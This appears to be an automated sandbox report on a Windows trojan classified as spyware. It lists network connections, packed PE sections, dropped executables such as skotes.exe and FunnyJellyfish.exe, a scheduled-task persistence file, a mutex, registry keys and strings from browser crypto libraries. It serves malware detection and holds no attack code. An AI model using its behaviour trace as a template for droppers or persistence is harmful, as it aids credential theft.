Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.23:443 -> 192.168.2.7:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.23:443 -> 192.168.2.7:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:50136 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsHCAEHJJKFC.exe.0.dr	Static PE information: section name:
Source: DocumentsHCAEHJJKFC.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsHCAEHJJKFC.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:
Source: random[1].exe.25.dr	Static PE information: section name:
Source: random[1].exe.25.dr	Static PE information: section name: .rsrc
Source: random[1].exe.25.dr	Static PE information: section name: .idata
Source: random[1].exe.25.dr	Static PE information: section name:
Source: 76ce55fba7.exe.25.dr	Static PE information: section name:
Source: 76ce55fba7.exe.25.dr	Static PE information: section name: .rsrc
Source: 76ce55fba7.exe.25.dr	Static PE information: section name: .idata
Source: 76ce55fba7.exe.25.dr	Static PE information: section name:

Source: C:\Users\user\DocumentsHCAEHJJKFC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDDECC0	0_2_6CDDECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3ECD0	0_2_6CE3ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDEAC60	0_2_6CDEAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBAC30	0_2_6CEBAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA6C00	0_2_6CEA6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF6CDC0	0_2_6CF6CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE4DB0	0_2_6CDE4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE76D90	0_2_6CE76D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAED70	0_2_6CEAED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF0AD50	0_2_6CF0AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF68D20	0_2_6CF68D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDEAEC0	0_2_6CDEAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE80EC0	0_2_6CE80EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE66E90	0_2_6CE66E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7EE70	0_2_6CE7EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC0E20	0_2_6CEC0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBEFF0	0_2_6CEBEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE0FE0	0_2_6CDE0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF28FB0	0_2_6CF28FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDEEFB0	0_2_6CDEEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA2F70	0_2_6CEA2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE4EF40	0_2_6CE4EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE6F10	0_2_6CDE6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF20F20	0_2_6CF20F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE68E0	0_2_6CEE68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB4840	0_2_6CEB4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE30820	0_2_6CE30820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6A820	0_2_6CE6A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEFC9E0	0_2_6CEFC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE149F0	0_2_6CE149F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE709A0	0_2_6CE709A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9A9A0	0_2_6CE9A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA09B0	0_2_6CEA09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE18960	0_2_6CE18960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE36900	0_2_6CE36900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5EA80	0_2_6CE5EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5CA70	0_2_6CE5CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE98A30	0_2_6CE98A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8EA00	0_2_6CE8EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE6BE0	0_2_6CEE6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE80BA0	0_2_6CE80BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE264D0	0_2_6CE264D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7A4D0	0_2_6CE7A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF0A480	0_2_6CF0A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF8460	0_2_6CDF8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE44420	0_2_6CE44420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6A430	0_2_6CE6A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAA5E0	0_2_6CEAA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6E5F0	0_2_6CE6E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD45B0	0_2_6CDD45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE42560	0_2_6CE42560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE80570	0_2_6CE80570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF28550	0_2_6CF28550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE38540	0_2_6CE38540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE4540	0_2_6CEE4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3E6E0	0_2_6CE3E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7E6E0	0_2_6CE7E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE046D0	0_2_6CE046D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3C650	0_2_6CE3C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0A7D0	0_2_6CE0A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE60700	0_2_6CE60700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD8090	0_2_6CDD8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBC0B0	0_2_6CEBC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF00B0	0_2_6CDF00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE2E070	0_2_6CE2E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAC000	0_2_6CEAC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA8010	0_2_6CEA8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE01E0	0_2_6CDE01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE48140	0_2_6CE48140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE56130	0_2_6CE56130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC4130	0_2_6CEC4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF662C0	0_2_6CF662C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB22A0	0_2_6CEB22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAE2B0	0_2_6CEAE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE68260	0_2_6CE68260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE78250	0_2_6CE78250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB8220	0_2_6CEB8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAA210	0_2_6CEAA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE343E0	0_2_6CE343E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE123A0	0_2_6CE123A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3E3B0	0_2_6CE3E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF22370	0_2_6CF22370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEFC360	0_2_6CEFC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE76370	0_2_6CE76370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE8340	0_2_6CDE8340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE2370	0_2_6CDE2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE52320	0_2_6CE52320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA1CE0	0_2_6CEA1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF1DCD0	0_2_6CF1DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE3C40	0_2_6CDE3C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF09C40	0_2_6CF09C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF1C30	0_2_6CDF1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB1DC0	0_2_6CEB1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD3D80	0_2_6CDD3D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF29D90	0_2_6CF29D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE43D00	0_2_6CE43D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE03EC0	0_2_6CE03EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF3BE70	0_2_6CF3BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF65E60	0_2_6CF65E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEEDE10	0_2_6CEEDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8BFF0	0_2_6CE8BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEFDFC0	0_2_6CEFDFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF63FC0	0_2_6CF63FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE01F90	0_2_6CE01F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE15F20	0_2_6CE15F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF37F20	0_2_6CF37F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD5F30	0_2_6CDD5F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE138E0	0_2_6CE138E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF3B8F0	0_2_6CF3B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBF8F0	0_2_6CEBF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDED8E0	0_2_6CDED8E0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0040E530	25_2_0040E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00447049	25_2_00447049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00448860	25_2_00448860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_004478BB	25_2_004478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00442D10	25_2_00442D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00404DE0	25_2_00404DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_004431A8	25_2_004431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00404B30	25_2_00404B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00437F36	25_2_00437F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0044779B	25_2_0044779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE09B10 appears 76 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF19F30 appears 31 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE03620 appears 74 times

Source: FunnyJellyfish[1].exe.25.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: FunnyJellyfish.exe.25.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: FunnyJellyfish.tmp.28.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: FunnyJellyfish.tmp.28.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: FunnyJellyfish.tmp.33.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: FunnyJellyfish.tmp.33.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-1VUQP.tmp.34.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-1VUQP.tmp.34.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows

Source: is-4PJR3.tmp.34.dr

Static PE information: Number of sections : 11 > 10

Source: 76ce55fba7.exe.25.dr	Static PE information: Data appended to the last section found
Source: random[1].exe.25.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1946387872.000000002386B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.1968583196.0000000070152000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: jgaxtykk ZLIB complexity 0.9946513709557733
Source: DocumentsHCAEHJJKFC.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9980096219346049
Source: DocumentsHCAEHJJKFC.exe.0.dr	Static PE information: Section: fjmpujlc ZLIB complexity 0.9948450497623291
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9980096219346049
Source: random[1].exe.0.dr	Static PE information: Section: fjmpujlc ZLIB complexity 0.9948450497623291
Source: skotes.exe.21.dr	Static PE information: Section: ZLIB complexity 0.9980096219346049
Source: skotes.exe.21.dr	Static PE information: Section: fjmpujlc ZLIB complexity 0.9948450497623291
Source: random[1].exe.25.dr	Static PE information: Section: ngzqujxo ZLIB complexity 0.9942876344086021
Source: 76ce55fba7.exe.25.dr	Static PE information: Section: ngzqujxo ZLIB complexity 0.9942876344086021

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@92/311@24/27

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE40300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6CE40300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\HXGN8BBH.htm

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7868:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3952:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user~1\AppData\Local\Temp\8bbc31bd-aa16-496f-806f-3b33c4c2d2f1.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1939314801.000000001D826000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1958748416.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1939314801.000000001D826000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1958748416.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1939314801.000000001D826000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1958748416.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1939314801.000000001D826000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1958748416.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
